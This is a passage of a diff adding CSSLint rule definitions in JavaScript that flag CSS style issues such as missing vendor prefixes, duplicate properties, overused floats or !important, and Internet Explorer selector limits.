+        for (prop in compatiblePrefixes) {
+            if (compatiblePrefixes.hasOwnProperty(prop)) {
+                variations = [];
+                prefixed = compatiblePrefixes[prop].split(" ");
+                for (i = 0, len = prefixed.length; i < len; i++) {
+                    variations.push("-" + prefixed[i] + "-" + prop);
+                }
+                compatiblePrefixes[prop] = variations;
+                arrayPush.apply(applyTo, variations);
+            }
+        }
+
+        parser.addListener("startrule", function () {
+            properties = [];
+        });
+
+        parser.addListener("startkeyframes", function (event) {
+            inKeyFrame = event.prefix || true;
+        });
+
+        parser.addListener("endkeyframes", function () {
+            inKeyFrame = false;
+        });
+
+        parser.addListener("property", function (event) {
+            var name = event.property;
+            if (CSSLint.Util.indexOf(applyTo, name.text) > -1) {
+
+                // e.g., -moz-transform is okay to be alone in @-moz-keyframes
+                if (!inKeyFrame || typeof inKeyFrame !== "string" ||
+                        name.text.indexOf("-" + inKeyFrame + "-") !== 0) {
+                    properties.push(name);
+                }
+            }
+        });
+
+        parser.addListener("endrule", function () {
+            if (!properties.length) {
+                return;
+            }
+
+            var propertyGroups = {},
+                i,
+                len,
+                name,
+                prop,
+                variations,
+                value,
+                full,
+                actual,
+                item,
+                propertiesSpecified;
+
+            for (i = 0, len = properties.length; i < len; i++) {
+                name = properties[i];
+
+                for (prop in compatiblePrefixes) {
+                    if (compatiblePrefixes.hasOwnProperty(prop)) {
+                        variations = compatiblePrefixes[prop];
+                        if (CSSLint.Util.indexOf(variations, name.text) > -1) {
+                            if (!propertyGroups[prop]) {
+                                propertyGroups[prop] = {
+                                    full: variations.slice(0),
+                                    actual: [],
+                                    actualNodes: []
+                                };
+                            }
+                            if (CSSLint.Util.indexOf(propertyGroups[prop].actual, name.text) === -1) {
+                                propertyGroups[prop].actual.push(name.text);
+                                propertyGroups[prop].actualNodes.push(name);
+                            }
+                        }
+                    }
+                }
+            }
+
+            for (prop in propertyGroups) {
+                if (propertyGroups.hasOwnProperty(prop)) {
+                    value = propertyGroups[prop];
+                    full = value.full;
+                    actual = value.actual;
+
+                    if (full.length > actual.length) {
+                        for (i = 0, len = full.length; i < len; i++) {
+                            item = full[i];
+                            if (CSSLint.Util.indexOf(actual, item) === -1) {
+                                propertiesSpecified = (actual.length === 1) ? actual[0] : (actual.length === 2) ? actual.join(" and ") : actual.join(", ");
+                                reporter.report("The property " + item + " is compatible with " + propertiesSpecified + " and should be included as well.", value.actualNodes[0].line, value.actualNodes[0].col, rule);
+                            }
+                        }
+
+                    }
+                }
+            }
+        });
+    }
+});
+
+/*
+ * Rule: Certain properties don't play well with certain display values.
+ * - float should not be used with inline-block
+ * - height, width, margin-top, margin-bottom, float should not be used with inline
+ * - vertical-align should not be used with block
+ * - margin, float should not be used with table-*
+ */
+
+CSSLint.addRule({
+
+    // rule information
+    id: "display-property-grouping",
+    name: "Require properties appropriate for display",
+    desc: "Certain properties shouldn't be used with certain display property values.",
+    url: "https://github.com/CSSLint/csslint/wiki/Require-properties-appropriate-for-display",
+    browsers: "All",
+
+    // initialization
+    init: function(parser, reporter) {
+        "use strict";
+        var rule = this;
+
+        var propertiesToCheck = {
+                display: 1,
+                "float": "none",
+                height: 1,
+                width: 1,
+                margin: 1,
+                "margin-left": 1,
+                "margin-right": 1,
+                "margin-bottom": 1,
+                "margin-top": 1,
+                padding: 1,
+                "padding-left": 1,
+                "padding-right": 1,
+                "padding-bottom": 1,
+                "padding-top": 1,
+                "vertical-align": 1
+            },
+            properties;
+
+        function reportProperty(name, display, msg) {
+            if (properties[name]) {
+                if (typeof propertiesToCheck[name] !== "string" || properties[name].value.toLowerCase() !== propertiesToCheck[name]) {
+                    reporter.report(msg || name + " can't be used with display: " + display + ".", properties[name].line, properties[name].col, rule);
+                }
+            }
+        }
+
+        function startRule() {
+            properties = {};
+        }
+
+        function endRule() {
+
+            var display = properties.display ? properties.display.value : null;
+            if (display) {
+                switch (display) {
+
+                    case "inline":
+                        // height, width, margin-top, margin-bottom, float should not be used with inline
+                        reportProperty("height", display);
+                        reportProperty("width", display);
+                        reportProperty("margin", display);
+                        reportProperty("margin-top", display);
+                        reportProperty("margin-bottom", display);
+                        reportProperty("float", display, "display:inline has no effect on floated elements (but may be used to fix the IE6 double-margin bug).");
+                        break;
+
+                    case "block":
+                        // vertical-align should not be used with block
+                        reportProperty("vertical-align", display);
+                        break;
+
+                    case "inline-block":
+                        // float should not be used with inline-block
+                        reportProperty("float", display);
+                        break;
+
+                    default:
+                        // margin, float should not be used with table
+                        if (display.indexOf("table-") === 0) {
+                            reportProperty("margin", display);
+                            reportProperty("margin-left", display);
+                            reportProperty("margin-right", display);
+                            reportProperty("margin-top", display);
+                            reportProperty("margin-bottom", display);
+                            reportProperty("float", display);
+                        }
+
+                        // otherwise do nothing
+                }
+            }
+
+        }
+
+        parser.addListener("startrule", startRule);
+        parser.addListener("startfontface", startRule);
+        parser.addListener("startkeyframerule", startRule);
+        parser.addListener("startpagemargin", startRule);
+        parser.addListener("startpage", startRule);
+        parser.addListener("startviewport", startRule);
+
+        parser.addListener("property", function(event) {
+            var name = event.property.text.toLowerCase();
+
+            if (propertiesToCheck[name]) {
+                properties[name] = {
+                    value: event.value.text,
+                    line: event.property.line,
+                    col: event.property.col
+                };
+            }
+        });
+
+        parser.addListener("endrule", endRule);
+        parser.addListener("endfontface", endRule);
+        parser.addListener("endkeyframerule", endRule);
+        parser.addListener("endpagemargin", endRule);
+        parser.addListener("endpage", endRule);
+        parser.addListener("endviewport", endRule);
+
+    }
+
+});
+
+/*
+ * Rule: Disallow duplicate background-images (using url).
+ */
+
+CSSLint.addRule({
+
+    // rule information
+    id: "duplicate-background-images",
+    name: "Disallow duplicate background images",
+    desc: "Every background-image should be unique. Use a common class for e.g. sprites.",
+    url: "https://github.com/CSSLint/csslint/wiki/Disallow-duplicate-background-images",
+    browsers: "All",
+
+    // initialization
+    init: function(parser, reporter) {
+        "use strict";
+        var rule = this,
+            stack = {};
+
+        parser.addListener("property", function(event) {
+            var name = event.property.text,
+                value = event.value,
+                i, len;
+
+            if (name.match(/background/i)) {
+                for (i=0, len=value.parts.length; i < len; i++) {
+                    if (value.parts[i].type === "uri") {
+                        if (typeof stack[value.parts[i].uri] === "undefined") {
+                            stack[value.parts[i].uri] = event;
+                        } else {
+                            reporter.report("Background image '" + value.parts[i].uri + "' was used multiple times, first declared at line " + stack[value.parts[i].uri].line + ", col " + stack[value.parts[i].uri].col + ".", event.line, event.col, rule);
+                        }
+                    }
+                }
+            }
+        });
+    }
+});
+
+/*
+ * Rule: Duplicate properties must appear one after the other. If an already-defined
+ * property appears somewhere else in the rule, then it's likely an error.
+ */
+
+CSSLint.addRule({
+
+    // rule information
+    id: "duplicate-properties",
+    name: "Disallow duplicate properties",
+    desc: "Duplicate properties must appear one after the other.",
+    url: "https://github.com/CSSLint/csslint/wiki/Disallow-duplicate-properties",
+    browsers: "All",
+
+    // initialization
+    init: function(parser, reporter) {
+        "use strict";
+        var rule = this,
+            properties,
+            lastProperty;
+
+        function startRule() {
+            properties = {};
+        }
+
+        parser.addListener("startrule", startRule);
+        parser.addListener("startfontface", startRule);
+        parser.addListener("startpage", startRule);
+        parser.addListener("startpagemargin", startRule);
+        parser.addListener("startkeyframerule", startRule);
+        parser.addListener("startviewport", startRule);
+
+        parser.addListener("property", function(event) {
+            var property = event.property,
+                name = property.text.toLowerCase();
+
+            if (properties[name] && (lastProperty !== name || properties[name] === event.value.text)) {
+                reporter.report("Duplicate property '" + event.property + "' found.", event.line, event.col, rule);
+            }
+
+            properties[name] = event.value.text;
+            lastProperty = name;
+
+        });
+
+
+    }
+
+});
+
+/*
+ * Rule: Style rules without any properties defined should be removed.
+ */
+
+CSSLint.addRule({
+
+    // rule information
+    id: "empty-rules",
+    name: "Disallow empty rules",
+    desc: "Rules without any properties specified should be removed.",
+    url: "https://github.com/CSSLint/csslint/wiki/Disallow-empty-rules",
+    browsers: "All",
+
+    // initialization
+    init: function(parser, reporter) {
+        "use strict";
+        var rule = this,
+            count = 0;
+
+        parser.addListener("startrule", function() {
+            count=0;
+        });
+
+        parser.addListener("property", function() {
+            count++;
+        });
+
+        parser.addListener("endrule", function(event) {
+            var selectors = event.selectors;
+            if (count === 0) {
+                reporter.report("Rule is empty.", selectors[0].line, selectors[0].col, rule);
+            }
+        });
+    }
+
+});
+
+/*
+ * Rule: There should be no syntax errors. (Duh.)
+ */
+
+CSSLint.addRule({
+
+    // rule information
+    id: "errors",
+    name: "Parsing Errors",
+    desc: "This rule looks for recoverable syntax errors.",
+    browsers: "All",
+
+    // initialization
+    init: function(parser, reporter) {
+        "use strict";
+        var rule = this;
+
+        parser.addListener("error", function(event) {
+            reporter.error(event.message, event.line, event.col, rule);
+        });
+
+    }
+
+});
+
+CSSLint.addRule({
+
+    // rule information
+    id: "fallback-colors",
+    name: "Require fallback colors",
+    desc: "For older browsers that don't support RGBA, HSL, or HSLA, provide a fallback color.",
+    url: "https://github.com/CSSLint/csslint/wiki/Require-fallback-colors",
+    browsers: "IE6,IE7,IE8",
+
+    // initialization
+    init: function(parser, reporter) {
+        "use strict";
+        var rule = this,
+            lastProperty,
+            propertiesToCheck = {
+                color: 1,
+                background: 1,
+                "border-color": 1,
+                "border-top-color": 1,
+                "border-right-color": 1,
+                "border-bottom-color": 1,
+                "border-left-color": 1,
+                border: 1,
+                "border-top": 1,
+                "border-right": 1,
+                "border-bottom": 1,
+                "border-left": 1,
+                "background-color": 1
+            };
+
+        function startRule() {
+            lastProperty = null;
+        }
+
+        parser.addListener("startrule", startRule);
+        parser.addListener("startfontface", startRule);
+        parser.addListener("startpage", startRule);
+        parser.addListener("startpagemargin", startRule);
+        parser.addListener("startkeyframerule", startRule);
+        parser.addListener("startviewport", startRule);
+
+        parser.addListener("property", function(event) {
+            var property = event.property,
+                name = property.text.toLowerCase(),
+                parts = event.value.parts,
+                i = 0,
+                colorType = "",
+                len = parts.length;
+
+            if (propertiesToCheck[name]) {
+                while (i < len) {
+                    if (parts[i].type === "color") {
+                        if ("alpha" in parts[i] || "hue" in parts[i]) {
+
+                            if (/([^\)]+)\(/.test(parts[i])) {
+                                colorType = RegExp.$1.toUpperCase();
+                            }
+
+                            if (!lastProperty || (lastProperty.property.text.toLowerCase() !== name || lastProperty.colorType !== "compat")) {
+                                reporter.report("Fallback " + name + " (hex or RGB) should precede " + colorType + " " + name + ".", event.line, event.col, rule);
+                            }
+                        } else {
+                            event.colorType = "compat";
+                        }
+                    }
+
+                    i++;
+                }
+            }
+
+            lastProperty = event;
+        });
+
+    }
+
+});
+
+/*
+ * Rule: You shouldn't use more than 10 floats. If you do, there's probably
+ * room for some abstraction.
+ */
+
+CSSLint.addRule({
+
+    // rule information
+    id: "floats",
+    name: "Disallow too many floats",
+    desc: "This rule tests if the float property is used too many times",
+    url: "https://github.com/CSSLint/csslint/wiki/Disallow-too-many-floats",
+    browsers: "All",
+
+    // initialization
+    init: function(parser, reporter) {
+        "use strict";
+        var rule = this;
+        var count = 0;
+
+        // count how many times "float" is used
+        parser.addListener("property", function(event) {
+            if (event.property.text.toLowerCase() === "float" &&
+                    event.value.text.toLowerCase() !== "none") {
+                count++;
+            }
+        });
+
+        // report the results
+        parser.addListener("endstylesheet", function() {
+            reporter.stat("floats", count);
+            if (count >= 10) {
+                reporter.rollupWarn("Too many floats (" + count + "), you're probably using them for layout. Consider using a grid system instead.", rule);
+            }
+        });
+    }
+
+});
+
+/*
+ * Rule: Avoid too many @font-face declarations in the same stylesheet.
+ */
+
+CSSLint.addRule({
+
+    // rule information
+    id: "font-faces",
+    name: "Don't use too many web fonts",
+    desc: "Too many different web fonts in the same stylesheet.",
+    url: "https://github.com/CSSLint/csslint/wiki/Don%27t-use-too-many-web-fonts",
+    browsers: "All",
+
+    // initialization
+    init: function(parser, reporter) {
+        "use strict";
+        var rule = this,
+            count = 0;
+
+
+        parser.addListener("startfontface", function() {
+            count++;
+        });
+
+        parser.addListener("endstylesheet", function() {
+            if (count > 5) {
+                reporter.rollupWarn("Too many @font-face declarations (" + count + ").", rule);
+            }
+        });
+    }
+
+});
+
+/*
+ * Rule: You shouldn't need more than 9 font-size declarations.
+ */
+
+CSSLint.addRule({
+
+    // rule information
+    id: "font-sizes",
+    name: "Disallow too many font sizes",
+    desc: "Checks the number of font-size declarations.",
+    url: "https://github.com/CSSLint/csslint/wiki/Don%27t-use-too-many-font-size-declarations",
+    browsers: "All",
+
+    // initialization
+    init: function(parser, reporter) {
+        "use strict";
+        var rule = this,
+            count = 0;
+
+        // check for use of "font-size"
+        parser.addListener("property", function(event) {
+            if (event.property.toString() === "font-size") {
+                count++;
+            }
+        });
+
+        // report the results
+        parser.addListener("endstylesheet", function() {
+            reporter.stat("font-sizes", count);
+            if (count >= 10) {
+                reporter.rollupWarn("Too many font-size declarations (" + count + "), abstraction needed.", rule);
+            }
+        });
+    }
+
+});
+
+/*
+ * Rule: When using a vendor-prefixed gradient, make sure to use them all.
+ */
+
+CSSLint.addRule({
+
+    // rule information
+    id: "gradients",
+    name: "Require all gradient definitions",
+    desc: "When using a vendor-prefixed gradient, make sure to use them all.",
+    url: "https://github.com/CSSLint/csslint/wiki/Require-all-gradient-definitions",
+    browsers: "All",
+
+    // initialization
+    init: function(parser, reporter) {
+        "use strict";
+        var rule = this,
+            gradients;
+
+        parser.addListener("startrule", function() {
+            gradients = {
+                moz: 0,
+                webkit: 0,
+                oldWebkit: 0,
+                o: 0
+            };
+        });
+
+        parser.addListener("property", function(event) {
+
+            if (/\-(moz|o|webkit)(?:\-(?:linear|radial))\-gradient/i.test(event.value)) {
+                gradients[RegExp.$1] = 1;
+            } else if (/\-webkit\-gradient/i.test(event.value)) {
+                gradients.oldWebkit = 1;
+            }
+
+        });
+
+        parser.addListener("endrule", function(event) {
+            var missing = [];
+
+            if (!gradients.moz) {
+                missing.push("Firefox 3.6+");
+            }
+
+            if (!gradients.webkit) {
+                missing.push("Webkit (Safari 5+, Chrome)");
+            }
+
+            if (!gradients.oldWebkit) {
+                missing.push("Old Webkit (Safari 4+, Chrome)");
+            }
+
+            if (!gradients.o) {
+                missing.push("Opera 11.1+");
+            }
+
+            if (missing.length && missing.length < 4) {
+                reporter.report("Missing vendor-prefixed CSS gradients for " + missing.join(", ") + ".", event.selectors[0].line, event.selectors[0].col, rule);
+            }
+
+        });
+
+    }
+
+});
+
+/*
+ * Rule: Don't use IDs for selectors.
+ */
+
+CSSLint.addRule({
+
+    // rule information
+    id: "ids",
+    name: "Disallow IDs in selectors",
+    desc: "Selectors should not contain IDs.",
+    url: "https://github.com/CSSLint/csslint/wiki/Disallow-IDs-in-selectors",
+    browsers: "All",
+
+    // initialization
+    init: function(parser, reporter) {
+        "use strict";
+        var rule = this;
+        parser.addListener("startrule", function(event) {
+            var selectors = event.selectors,
+                selector,
+                part,
+                modifier,
+                idCount,
+                i, j, k;
+
+            for (i=0; i < selectors.length; i++) {
+                selector = selectors[i];
+                idCount = 0;
+
+                for (j=0; j < selector.parts.length; j++) {
+                    part = selector.parts[j];
+                    if (part.type === parser.SELECTOR_PART_TYPE) {
+                        for (k=0; k < part.modifiers.length; k++) {
+                            modifier = part.modifiers[k];
+                            if (modifier.type === "id") {
+                                idCount++;
+                            }
+                        }
+                    }
+                }
+
+                if (idCount === 1) {
+                    reporter.report("Don't use IDs in selectors.", selector.line, selector.col, rule);
+                } else if (idCount > 1) {
+                    reporter.report(idCount + " IDs in the selector, really?", selector.line, selector.col, rule);
+                }
+            }
+
+        });
+    }
+
+});
+
+/*
+ * Rule: IE6-9 supports up to 31 stylesheet import.
+ * Reference:
+ * http://blogs.msdn.com/b/ieinternals/archive/2011/05/14/internet-explorer-stylesheet-rule-selector-import-sheet-limit-maximum.aspx
+ */
+
+CSSLint.addRule({
+
+    // rule information
+    id: "import-ie-limit",
+    name: "@import limit on IE6-IE9",
+    desc: "IE6-9 supports up to 31 @import per stylesheet",
+    browsers: "IE6, IE7, IE8, IE9",
+
+    // initialization
+    init: function(parser, reporter) {
+        "use strict";
+        var rule = this,
+            MAX_IMPORT_COUNT = 31,
+            count = 0;
+
+        function startPage() {
+            count = 0;
+        }
+
+        parser.addListener("startpage", startPage);
+
+        parser.addListener("import", function() {
+            count++;
+        });
+
+        parser.addListener("endstylesheet", function() {
+            if (count > MAX_IMPORT_COUNT) {
+                reporter.rollupError(
+                    "Too many @import rules (" + count + "). IE6-9 supports up to 31 import per stylesheet.",
+                    rule
+                );
+            }
+        });
+    }
+
+});
+
+/*
+ * Rule: Don't use @import, use <link> instead.
+ */
+
+CSSLint.addRule({
+
+    // rule information
+    id: "import",
+    name: "Disallow @import",
+    desc: "Don't use @import, use <link> instead.",
+    url: "https://github.com/CSSLint/csslint/wiki/Disallow-%40import",
+    browsers: "All",
+
+    // initialization
+    init: function(parser, reporter) {
+        "use strict";
+        var rule = this;
+
+        parser.addListener("import", function(event) {
+            reporter.report("@import prevents parallel downloads, use <link> instead.", event.line, event.col, rule);
+        });
+
+    }
+
+});
+
+/*
+ * Rule: Make sure !important is not overused, this could lead to specificity
+ * war. Display a warning on !important declarations, an error if it's
+ * used more at least 10 times.
+ */
+
+CSSLint.addRule({
+
+    // rule information
+    id: "important",
+    name: "Disallow !important",
+    desc: "Be careful when using !important declaration",
+    url: "https://github.com/CSSLint/csslint/wiki/Disallow-%21important",
+    browsers: "All",
+
+    // initialization
+    init: function(parser, reporter) {
+        "use strict";
+        var rule = this,
+            count = 0;
+
+        // warn that important is used and increment the declaration counter
+        parser.addListener("property", function(event) {
+            if (event.important === true) {
+                count++;
+                reporter.report("Use of !important", event.line, event.col, rule);
+            }
+        });
+
+        // if there are more than 10, show an error
+        parser.addListener("endstylesheet", function() {
+            reporter.stat("important", count);
+            if (count >= 10) {
+                reporter.rollupWarn("Too many !important declarations (" + count + "), try to use less than 10 to avoid specificity issues.", rule);
+            }
+        });
+    }
+
+});
+
+/*
+ * Rule: Properties should be known (listed in CSS3 specification) or
+ * be a vendor-prefixed property.
+ */
+
+CSSLint.addRule({
+
+    // rule information
+    id: "known-properties",
+    name: "Require use of known properties",
+    desc: "Properties should be known (listed in CSS3 specification) or be a vendor-prefixed property.",
+    url: "https://github.com/CSSLint/csslint/wiki/Require-use-of-known-properties",
+    browsers: "All",
+
+    // initialization
+    init: function(parser, reporter) {
+        "use strict";
+        var rule = this;
+
+        parser.addListener("property", function(event) {
+
+            // the check is handled entirely by the parser-lib (https://github.com/nzakas/parser-lib)
+            if (event.invalid) {
+                reporter.report(event.invalid.message, event.line, event.col, rule);
+            }
+
+        });
+    }
+
+});
+
+/*
+ * Rule: All properties should be in alphabetical order.
+ */
+
+CSSLint.addRule({
+
+    // rule information
+    id: "order-alphabetical",
+    name: "Alphabetical order",
+    desc: "Assure properties are in alphabetical order",
+    browsers: "All",
+
+    // initialization
+    init: function(parser, reporter) {
+        "use strict";
+        var rule = this,
+            properties;
+
+        var startRule = function () {
+            properties = [];
+        };
+
+        var endRule = function(event) {
+            var currentProperties = properties.join(","),
+                expectedProperties = properties.sort().join(",");
+
+            if (currentProperties !== expectedProperties) {
+                reporter.report("Rule doesn't have all its properties in alphabetical order.", event.line, event.col, rule);
+            }
+        };
+
+        parser.addListener("startrule", startRule);
+        parser.addListener("startfontface", startRule);
+        parser.addListener("startpage", startRule);
+        parser.addListener("startpagemargin", startRule);
+        parser.addListener("startkeyframerule", startRule);
+        parser.addListener("startviewport", startRule);
+
+        parser.addListener("property", function(event) {
+            var name = event.property.text,
+                lowerCasePrefixLessName = name.toLowerCase().replace(/^-.*?-/, "");
+
+            properties.push(lowerCasePrefixLessName);
+        });
+
+        parser.addListener("endrule", endRule);
+        parser.addListener("endfontface", endRule);
+        parser.addListener("endpage", endRule);
+        parser.addListener("endpagemargin", endRule);
+        parser.addListener("endkeyframerule", endRule);
+        parser.addListener("endviewport", endRule);
+    }
+
+});
+
+/*
+ * Rule: outline: none or outline: 0 should only be used in a :focus rule
+ *       and only if there are other properties in the same rule.
+ */
+
+CSSLint.addRule({
+
+    // rule information
+    id: "outline-none",
+    name: "Disallow outline: none",
+    desc: "Use of outline: none or outline: 0 should be limited to :focus rules.",
+    url: "https://github.com/CSSLint/csslint/wiki/Disallow-outline%3Anone",
+    browsers: "All",
+    tags: ["Accessibility"],
+
+    // initialization
+    init: function(parser, reporter) {
+        "use strict";
+        var rule = this,
+            lastRule;
+
+        function startRule(event) {
+            if (event.selectors) {
+                lastRule = {
+                    line: event.line,
+                    col: event.col,
+                    selectors: event.selectors,
+                    propCount: 0,
+                    outline: false
+                };
+            } else {
+                lastRule = null;
+            }
+        }
+
+        function endRule() {
+            if (lastRule) {
+                if (lastRule.outline) {
+                    if (lastRule.selectors.toString().toLowerCase().indexOf(":focus") === -1) {
+                        reporter.report("Outlines should only be modified using :focus.", lastRule.line, lastRule.col, rule);
+                    } else if (lastRule.propCount === 1) {
+                        reporter.report("Outlines shouldn't be hidden unless other visual changes are made.", lastRule.line, lastRule.col, rule);
+                    }
+                }
+            }
+        }
+
+        parser.addListener("startrule", startRule);
+        parser.addListener("startfontface", startRule);
+        parser.addListener("startpage", startRule);
+        parser.addListener("startpagemargin", startRule);
+        parser.addListener("startkeyframerule", startRule);
+        parser.addListener("startviewport", startRule);
+
+        parser.addListener("property", function(event) {
+            var name = event.property.text.toLowerCase(),
+                value = event.value;
+
+            if (lastRule) {
+                lastRule.propCount++;
+                if (name === "outline" && (value.toString() === "none" || value.toString() === "0")) {
+                    lastRule.outline = true;
+                }
+            }
+
+        });
+
+        parser.addListener("endrule", endRule);
+        parser.addListener("endfontface", endRule);
+        parser.addListener("endpage", endRule);
+        parser.addListener("endpagemargin", endRule);
+        parser.addListener("endkeyframerule", endRule);
+        parser.addListener("endviewport", endRule);
+
+    }
+
+});
+
+/*
+ * Rule: Don't use classes or IDs with elements (a.foo or a#foo).
+ */
+
+CSSLint.addRule({
+
+    // rule information
+    id: "overqualified-elements",
+    name: "Disallow overqualified elements",
+    desc: "Don't use classes or IDs with elements (a.foo or a#foo).",
+    url: "https://github.com/CSSLint/csslint/wiki/Disallow-overqualified-elements",
+    browsers: "All",
+
+    // initialization
+    init: function(parser, reporter) {
+        "use strict";
+        var rule = this,
+            classes = {};
+
+        parser.addListener("startrule", function(event) {
+            var selectors = event.selectors,
+                selector,
+                part,
+                modifier,
+                i, j, k;
+
+            for (i=0; i < selectors.length; i++) {
+                selector = selectors[i];
+
+                for (j=0; j < selector.parts.length; j++) {
+                    part = selector.parts[j];
+                    if (part.type === parser.SELECTOR_PART_TYPE) {
+                        for (k=0; k < part.modifiers.length; k++) {
+                            modifier = part.modifiers[k];
+                            if (part.elementName && modifier.type === "id") {
+                                reporter.report("Element (" + part + ") is overqualified, just use " + modifier + " without element name.", part.line, part.col, rule);
+                            } else if (modifier.type === "class") {
+
+                                if (!classes[modifier]) {
+                                    classes[modifier] = [];
+                                }
+                                classes[modifier].push({
+                                    modifier: modifier,
+                                    part: part
+                                });
+                            }
+                        }
+                    }
+                }
+            }
+        });
+
+        parser.addListener("endstylesheet", function() {
+
+            var prop;
+            for (prop in classes) {
+                if (classes.hasOwnProperty(prop)) {
+
+                    // one use means that this is overqualified
+                    if (classes[prop].length === 1 && classes[prop][0].part.elementName) {
+                        reporter.report("Element (" + classes[prop][0].part + ") is overqualified, just use " + classes[prop][0].modifier + " without element name.", classes[prop][0].part.line, classes[prop][0].part.col, rule);
+                    }
+                }
+            }
+        });
+    }
+
+});
+
+/*
+ * Rule: Headings (h1-h6) should not be qualified (namespaced).
+ */
+
+CSSLint.addRule({
+
+    // rule information
+    id: "qualified-headings",
+    name: "Disallow qualified headings",
+    desc: "Headings should not be qualified (namespaced).",
+    url: "https://github.com/CSSLint/csslint/wiki/Disallow-qualified-headings",
+    browsers: "All",
+
+    // initialization
+    init: function(parser, reporter) {
+        "use strict";
+        var rule = this;
+
+        parser.addListener("startrule", function(event) {
+            var selectors = event.selectors,
+                selector,
+                part,
+                i, j;
+
+            for (i=0; i < selectors.length; i++) {
+                selector = selectors[i];
+
+                for (j=0; j < selector.parts.length; j++) {
+                    part = selector.parts[j];
+                    if (part.type === parser.SELECTOR_PART_TYPE) {
+                        if (part.elementName && /h[1-6]/.test(part.elementName.toString()) && j > 0) {
+                            reporter.report("Heading (" + part.elementName + ") should not be qualified.", part.line, part.col, rule);
+                        }
+                    }
+                }
+            }
+        });
+    }
+
+});
+
+/*
+ * Rule: Selectors that look like regular expressions are slow and should be avoided.
+ */
+
+CSSLint.addRule({
+
+    // rule information
+    id: "regex-selectors",
+    name: "Disallow selectors that look like regexs",
+    desc: "Selectors that look like regular expressions are slow and should be avoided.",
+    url: "https://github.com/CSSLint/csslint/wiki/Disallow-selectors-that-look-like-regular-expressions",
+    browsers: "All",
+
+    // initialization
+    init: function(parser, reporter) {
+        "use strict";
+        var rule = this;
+
+        parser.addListener("startrule", function(event) {
+            var selectors = event.selectors,
+                selector,
+                part,
+                modifier,
+                i, j, k;
+
+            for (i=0; i < selectors.length; i++) {
+                selector = selectors[i];
+                for (j=0; j < selector.parts.length; j++) {
+                    part = selector.parts[j];
+                    if (part.type === parser.SELECTOR_PART_TYPE) {
+                        for (k=0; k < part.modifiers.length; k++) {
+                            modifier = part.modifiers[k];
+                            if (modifier.type === "attribute") {
+                                if (/([~\|\^\$\*]=)/.test(modifier)) {
+                                    reporter.report("Attribute selectors with " + RegExp.$1 + " are slow!", modifier.line, modifier.col, rule);
+                                }
+                            }
+
+                        }
+                    }
+                }
+            }
+        });
+    }
+
+});
+
+/*
+ * Rule: Total number of rules should not exceed x.
+ */
+
+CSSLint.addRule({
+
+    // rule information
+    id: "rules-count",
+    name: "Rules Count",
+    desc: "Track how many rules there are.",
+    browsers: "All",
+
+    // initialization
+    init: function(parser, reporter) {
+        "use strict";
+        var count = 0;
+
+        // count each rule
+        parser.addListener("startrule", function() {
+            count++;
+        });
+
+        parser.addListener("endstylesheet", function() {
+            reporter.stat("rule-count", count);
+        });
+    }
+
+});
+
+/*
+ * Rule: Warn people with approaching the IE 4095 limit
+ */
+
+CSSLint.addRule({
+
+    // rule information
+    id: "selector-max-approaching",
+    name: "Warn when approaching the 4095 selector limit for IE",
+    desc: "Will warn when selector count is >= 3800 selectors.",
+    browsers: "IE",
+
+    // initialization
+    init: function(parser, reporter) {
+        "use strict";
+        var rule = this, count = 0;
+
+        parser.addListener("startrule", function(event) {
+            count += event.selectors.length;
+        });
+
+        parser.addListener("endstylesheet", function() {
+            if (count >= 3800) {
+                reporter.report("You have " + count + " selectors. Internet Explorer supports a maximum of 4095 selectors per stylesheet. Consider refactoring.", 0, 0, rule);
+            }
+        });
+    }
+
+});
+
+/*
+ * Rule: Warn people past the IE 4095 limit
+ */
+
+CSSLint.addRule({
+
+    // rule information
+    id: "selector-max",
+    name: "Error when past the 4095 selector limit for IE",
+    desc: "Will error when selector count is > 4095.",
+    browsers: "IE",
+
+    // initialization
+    init: function(parser, reporter) {
+        "use strict";
+        var rule = this, count = 0;
+
+        parser.addListener("startrule", function(event) {
+            count += event.selectors.length;
+        });
+
+        parser.addListener("endstylesheet", function() {
+            if (count > 4095) {
+                reporter.report("You have " + count + " selectors. Internet Explorer supports a maximum of 4095 selectors per stylesheet. Consider refactoring.", 0, 0, rule);
+            }
+        });
+    }
+
+});
+
+/*
+ * Rule: Avoid new-line characters in selectors.
+ */
+
+CSSLint.addRule({
+
+    // rule information
+    id: "selector-newline",
+    name: "Disallow new-line characters in selectors",
+    desc: "New-line characters in selectors are usually a forgotten comma and not a descendant combinator.",
+    browsers: "All",
+
+    // initialization
+    init: function(parser, reporter) {
+        "use strict";
+        var rule = this;
+
+        function startRule(event) {
+            var i, len, selector, p, n, pLen, part, part2, type, currentLine, nextLine,
+                selectors = event.selectors;
+
+            for (i = 0, len = selectors.length; i < len; i++) {
+                selector = selectors[i];
+                for (p = 0, pLen = selector.parts.length; p < pLen; p++) {
+                    for (n = p + 1; n < pLen; n++) {
+                        part = selector.parts[p];
+                        part2 = selector.parts[n];
+                        type = part.type;
+                        currentLine = part.line;
+                        nextLine = part2.line;
+
+                        if (type === "descendant" && nextLine > currentLine) {
+                            reporter.report("newline character found in selector (forgot a comma?)", currentLine, selectors[i].parts[0].col, rule);
+                        }
+                    }
+                }
+
+            }
+        }
+
+        parser.addListener("startrule", startRule);
+
+    }
+});
+
+/*
+ * Rule: Use shorthand properties where possible.
+ *
+ */
+
+CSSLint.addRule({
+
+    // rule information
+    id: "shorthand",
+    name: "Require shorthand properties",
+    desc: "Use shorthand properties where possible.",
+    url: "https://github.com/CSSLint/csslint/wiki/Require-shorthand-properties",
+    browsers: "All",
+
+    // initialization
+    init: function(parser, reporter) {
+        "use strict";
+        var rule = this,
+            prop, i, len,
+            propertiesToCheck = {},
+            properties,
+            mapping = {
+                "margin": [
+                    "margin-top",
+                    "margin-bottom",
+                    "margin-left",
+                    "margin-right"
+                ],
+                "padding": [
+                    "padding-top",
+                    "padding-bottom",
+                    "padding-left",
+                    "padding-right"
+                ]
+            };
+
+        // initialize propertiesToCheck
+        for (prop in mapping) {
+            if (mapping.hasOwnProperty(prop)) {
+                for (i=0, len=mapping[prop].length; i < len; i++) {
+                    propertiesToCheck[mapping[prop][i]] = prop;
+                }
+            }
+        }
+
+        function startRule() {
+            properties = {};
+        }
+
+        // event handler for end of rules
+        function endRule(event) {
+
+            var prop, i, len, total;
+
+            // check which properties this rule has
+            for (prop in mapping) {
+                if (mapping.hasOwnProperty(prop)) {
+                    total=0;
+
+                    for (i=0, len=mapping[prop].length; i < len; i++) {
+                        total += properties[mapping[prop][i]] ? 1 : 0;
+                    }
+
+                    if (total === mapping[prop].length) {
